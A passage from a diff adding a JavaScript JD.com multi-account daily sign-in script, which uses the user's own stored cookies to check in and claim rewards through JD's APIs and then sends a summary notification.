'4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + // await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + // await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + // await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + // await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + // await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + // await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + // await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + // await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + // await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + // await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + // await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第118行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + const EnvInfo = $nobyda.isJSBox ? "JD_Cookie" : "CookieJD"; + const EnvInfo2 = $nobyda.isJSBox ? "JD_Cookie2" : "CookieJD2"; + const EnvInfo3 = $nobyda.isJSBox ? "JD_Cookies" : "CookiesJD"; + const move = CookieMove($nobyda.read(EnvInfo) || Key, $nobyda.read(EnvInfo2) || DualKey, EnvInfo, EnvInfo2, EnvInfo3); + const cookieSet = $nobyda.read(EnvInfo3); + if (DeleteCookie) { + const write = $nobyda.write("", EnvInfo3); + throw new Error(`Cookie清除${write?`成功`:`失败`}, 请手动关闭脚本内"DeleteCookie"选项`); + } else if ($nobyda.isRequest) { + GetCookie() + } else if (Key || DualKey || (OtherKey || cookieSet || '[]') != '[]') { + if (($nobyda.isJSBox || $nobyda.isNode) && stop !== '0') $nobyda.write(stop, "JD_DailyBonusDelay"); + out = parseInt($nobyda.read("JD_DailyBonusTimeOut")) || out; + stop = Wait($nobyda.read("JD_DailyBonusDelay"), true) || Wait(stop, true); + boxdis = $nobyda.read("JD_Crash_disable") === "false" || $nobyda.isNode || $nobyda.isJSBox ? false : boxdis; + LogDetails = $nobyda.read("JD_DailyBonusLog") === "true" || LogDetails; + ReDis = ReDis ? $nobyda.write("", "JD_DailyBonusDisables") : ""; + $nobyda.num = 0; + if (Key) await all(Key); + if (DualKey && DualKey !== Key) await all(DualKey); + if ((OtherKey || cookieSet || '[]') != '[]') { + try { + OtherKey = checkFormat([...JSON.parse(OtherKey || '[]'), ...JSON.parse(cookieSet || '[]')]); + const updateSet = OtherKey.length ? $nobyda.write(JSON.stringify(OtherKey, null, 2), EnvInfo3) : ''; + for (let i = 0; i < OtherKey.length; i++) { + const ck = OtherKey[i].cookie; + const jr = OtherKey[i].jrBody; + if (ck != Key && ck != DualKey) { + await all(ck, jr) + } + } + } catch (e) { + throw new Error(`账号Cookie读取失败, 请检查Json格式. \n${e.message}`) + } + } + sendNotify("京东多合一签到SCF:",notification) + $nobyda.time(); + } else { + throw new Error('脚本终止, 未获取Cookie ‼️') + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +// function JingDongTurn(s) { +// merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; +// return new Promise((resolve, reject) => { +// if (disable("JDTurn")) return reject() +// const JDTUrl = { +// url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', +// headers: { +// Cookie: KEY, +// } +// }; +// $nobyda.get(JDTUrl, async function(error, response, data) { +// try { +// if (error) { +// throw new Error(error) +// } else { +// const cc = JSON.parse(data) +// const Details = LogDetails ? "response:\n" + data : ''; +// if (cc.data && cc.data.lotteryCode) { +// console.log("\n" + "京东商城-转盘查询成功 " + Details) +// return resolve(cc.data.lotteryCode) +// } else { +// merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" +// merge.JDTurn.fail = 1 +// console.log("\n" + "京东商城-转盘查询失败 " + Details) +// } +// } +// } catch (eor) { +// $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) +// } finally { +// reject() +// } +// }) +// if (out) setTimeout(reject, out + s) +// }).then(data => { +// return JingDongTurnSign(s, data); +// }, () => {}); +// } + +function JingDongTurn(s) { + if (!merge.JDTurn) merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise(resolve => { + if (disable("JDTurn")) return resolve(); + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=babelGetLottery`, + headers: { + Cookie: KEY + }, + body: 'body=%7B%22enAwardK%22%3A%2295d235f2a09578c6613a1a029b26d12d%22%2C%22riskParam%22%3A%7B%7D%7D&client=wh5' + }; + $nobyda.post(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/\d+京豆/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += (cc.prizeName && cc.prizeName.split(/(\d+)/)[1]) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${merge.JDTurn.bean||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else if (data.match(/未中奖|擦肩而过/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(机会已用完|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid) { + return console.log(`\n${title} >> 可能需要拼图验证, 跳过签到 ⚠️`); + await new Promise(resolve => { + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=ztmFUCxcPMNyUq0P`, + headers: { + Cookie: KEY + } + }, function(error, response, data) { + resolve() + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=ztmFUCxcPMNyUq0P', + headers: { + lkt: '1629984131120', + lks: 'd7db92cf40ad5a8d54b9da2b561c5f84', + Cookie: KEY + }, + body: `turnTableId=${tid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = 